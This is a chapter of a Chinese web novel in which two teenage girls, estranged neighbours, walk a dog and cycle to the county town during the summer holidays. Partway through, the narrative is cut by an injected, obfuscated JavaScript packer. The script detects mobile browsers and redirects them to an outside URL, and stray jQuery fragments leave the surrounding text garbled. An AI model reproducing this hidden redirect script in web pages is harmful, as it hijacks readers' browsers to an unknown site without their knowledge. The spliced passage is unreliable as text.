4. 自行车

作品:《潮夏吻

    有关于更换选科的事情,田听想要等闻颂自己说明白。


    去问出来的答案,怎么都要比对方主动说明白的结果要动听不少。更何况,田听也算不上那种多事的人,问来问去,倒不如就这么任由事情发展。


    “话说。”田听跟着闻颂脚步一转,整个人挡在她的面前,“后天考试,明天休息的话,要不要去市区转转?看校园论坛说开了家新华书店,正好,我缺本英语词典。”


    这话像是在邀请闻颂,田听后知后觉,认为刚才说话的语气算不上友好。


    刚想换种方式再问,倒是被眼前少女应下。


    “好啊,我也想去看看有什么教辅资料。那明天要怎么去呢?”


    “摩的?”


    城镇的公交没有通到这边的县城。周边村庄都是靠跑黑摩的去的市区,要么就是走路、搭乘家里有电三轮的一块去。


    闻颂撇撇嘴:“那也太费时间了,还得等。”


    肩并着肩,田听能嗅见姑娘扎起的长发上散发的阵阵香。恍惚,她险些没听清对方的话。


    摩的不是什么时间都有。更何况是工作日里,跑摩的司机更倾向于去市区接单,赚的会更多些。


    一般的话,考试前一天是不会放高三学生休息的。只是明天比较特殊,老师们需要去别的学校监考,学校没有老师在,领导们久违没有休息。


    一拍板,干脆就放了个长假。


    甜了学生,苦了老师。


    “那骑自行车好了,就是有点慢。”田听思来想去,到底是对方陪着自己一块去城镇,再怎么说也不能让人家费力,“不嫌麻烦的话,我骑车带你去。”


    总不能让闻颂陪自己走好几里路到县城,再坐巴士。


    她们租的房子已经是靠近县城的了,再近些还得花不少钱。闻颂家庭条件没那么好,就连房租的大头都是田听家出的,基本上每个月的房租都要靠他们先垫着,闻颂爸妈再慢慢还上。


    田听其实也搞不懂,自己分明挺讨厌她的,却在这个节骨眼上忽然跟这人和解。


    真奇怪。


    时间长长短短,田听险些以为自己就这么改变对闻颂的观点。从她细长的手指瞧至空无一物的手腕上,再一路顺着校服爬至闻颂的耳朵。


    耳朵在去年打上了个耳洞,是闻颂母亲说女孩子要适当的爱美,才擅作主张带着她去打的。


    没养的太好,直到现在还总是流脓,要长期带着消炎棒才算好。


    听说耳朵养不好要带银饰。


    “那明天见。”闻颂说。


    放学的时间越来越近,田听也无心听课,索性拿出前些日发下的假期卷子整理起题目。


    她和闻颂,究竟是哪个环节出了问题呢。


    假期。


    “该遛狗了。”田听牵着闻颂家的狗站在她的房间门口,“起床没?”


    田听的房间被临时清空出来,给闻颂暂居一些日子。她倒是被父母使唤着搬去隔壁客房,跟一堆杂物睡在一间屋子,直到闻颂的父母度假回来。


    门打开,田听瞧见姑娘还穿着睡衣,连带着那对可爱的拖鞋一同出现在她的面前。


    为了让闻颂专注学习上,田听父母提前回到这边来指导她们二人的学习。每年的暑假都算不上太长,田听已经习惯了像是短暂的假期,倒是一下子跳级加转科的闻颂有些力不从心。


    田听现在睡得那间屋子,其实在很早以前还算不上杂物房,确实是田听原先居住的房间。但后来因为采光不好,父母索性将书房改成田听的房间,原来的屋子倒是废弃成仓库。


    夏天采光很好,冬天也算不上太冷。一年一次,田听家里在冬天基本上不会待在老房子里,而是回老家陪着老人过年。而田听那间书房将会被作为临时储存家中所有棉被的屋子,因为采光比较好,通风也要比其他屋子舒服不少。


    听父母说,闻颂在很小的时候也经常在暑假跟她们一块居住,基本上也总是来找田听父母进行辅导。她的父母是知识分子,相比较下来,闻颂的父母就显得有些望子成龙望女成凤的心态,总想要占些他们的便宜。


    其实闻颂在最后,基本上已经被田听视为了一家人。他们已经习惯了闻颂父母常年在外打工,还将闻颂送到他们家中照看。


    长此以往,田听也不得不开始讨厌这个对门邻居的孩子。


    从田听记事起,父母不管给她带了什么,都会要求她分享一部分给闻颂。即使是田听最喜欢的玩具,父母也都会想方设法再搞来一模一样的给闻颂,美其名曰是一碗水端平。


    她已经习惯睡在那间屋子,忽然被要求搬出来,辗转几回都没见的睡着。


    田听醒得很早,也可能是昨夜根本就没睡着的远古。


    总之她已经牵着狗站在闻颂的房间门口了。闻颂也适时出现在门口,倒是给田听吓得不轻。


    田听伸手抹了把脸,“站在这里不换衣服吗?我做了早餐,如果来不及的话,下楼吃个早饭再继续睡吧。”


    田听是什么时候逐渐发现自己对闻颂的不友好呢。


    一切或许是始于中考完的那个暑假,田听拿着录取通知书来到家中炫耀时,恰好碰上打开大门准备往外走的闻颂。


    当时闻颂就站在她的对面,连带着许多不一般的目光聚焦在那人手中的纸张上。


    “小颂,你也要跟你听姐姐去同一个高中了吗?”田听的母亲是这么开口询问她的,闻颂也非常肯定的点了点头。


    她的手心要比常人更加粗糙,或许是因为每年秋天闻颂需要跟着爷爷奶奶一同夏天收农作物,连带着手臂和面上都晒得些许发棕。但被衣领遮住的脖子、上臂内跟锁骨那块都是白嫩、泛着粉的皮肤。


    田听往后退了一步,旁边的狗狗也听话的跟着她后退而一块动身往后走,等待着主人下发命令。


    “我换个衣服就一块去。”闻颂说着,又将敞开的门关上,一阵悉悉索索便换好衣服重新拉开门。“走吧。”


    早


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470028|185532||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上的空闲时间居多,闻颂没想过田听竟然能起这么早来溜狗。她记得通常田听都要睡到日上三竿,今天也不知怎的忽然改性。


    外头太阳不算大,晒得人正好。带着些许晨风,扑面而来的是泥土清香,携着部分不知名的花还是树的气息,让人不眠的松了口气。


    对她们来说时间是早,实际村子里大多数人都已经起床开始忙着农活。浇浇水、施施肥,再带着牛上山吃草,一个上午就这么结束掉。


    “狗叫什么名字?”田听忽然问。


    “叫糖果,吃进嘴里很甜的、甜的那个糖果。”闻颂回答。


    田听的目光投向那片一望无际的田野上,小孩子在泥坑中玩闹,树荫下的牛卧着休息。或许是想要思考着接下来应该做些什么,才能打破一阵紧接着一阵的无言以对。


    “家里柴火没了,等会还要去趟山上。”


    “我家还有点。”闻颂说着,“不知道潮了没,等会应该要拿出来晒会儿,不然生虫子,麻烦。”


    其实她也不清楚具体的要做些什么,只是听见田听这么说着,忽然想到有关于之后的一点事情。闻颂不擅长做家务,但在农活上还是比较擅长的。


    家中大多数农活都是她帮着长辈去做,因此田听对农活的具体事情感到好奇。


    闻颂问田听要不要一块去。


    “下次吧,下次再说。”她说这话时明显带着疏远,连带着脚步都变得虚浮不确,仿佛察觉出闻颂话重带有的其他含义。


    不过,田听忽然想到下午该去县城里买点有关于高三衔接的教辅资料,然后去给家里那部老掉牙的座机交话费。那是联系他们家最重要的方式,还有着录音功能,因此才一直保留下来。


    田听决定骑车过去,带着闻颂一起。


    她实在不放心留着闻颂一个人待在家里,生怕还能造出跟昨天下午那副乌烟瘴气的厨房。倒不如花点力气,蹬自行车过去,还能保厨房的平安。


    出发前,田听翻出来父亲留在房子中的那个半升保温杯,打了点井水进去后才背着出发。


    骑车的过程算不上顺利。田听没少停下来等后面慢悠悠的闻颂,又顺带着喝上几口水补充体力。


    沿路的商店算不上太多,基本上就是一些个拉着三轮车的小摊贩,天气又太热太好,到处都是空荡荡的。估计只有市场才会人稍些多点,就连旁边裸/露在阳光下的农田都鲜少见人。


    一只从旁边窜来的小狗蹲在路边上瞧着她们骑车过去,自行车老旧生锈吱呀吱呀响的声音被呼啸的风以及喧嚣蝉鸣盖过,淹没在无尽的山林之中。


    闻颂又停在半坡上,田听干脆下了车,将自行车拐个弯扶着到她身边。


    田听灌着自己带来的水,将喝了小半的水杯递给闻颂喝,又接过倒了些撒在手心中往脸上抹了点,用汗巾擦去脸上的水珠,才算勉强降温下。


    井水不够冷,保温杯不太好,身边的人不咋利落,留给田听的是还未褪下的燥和热。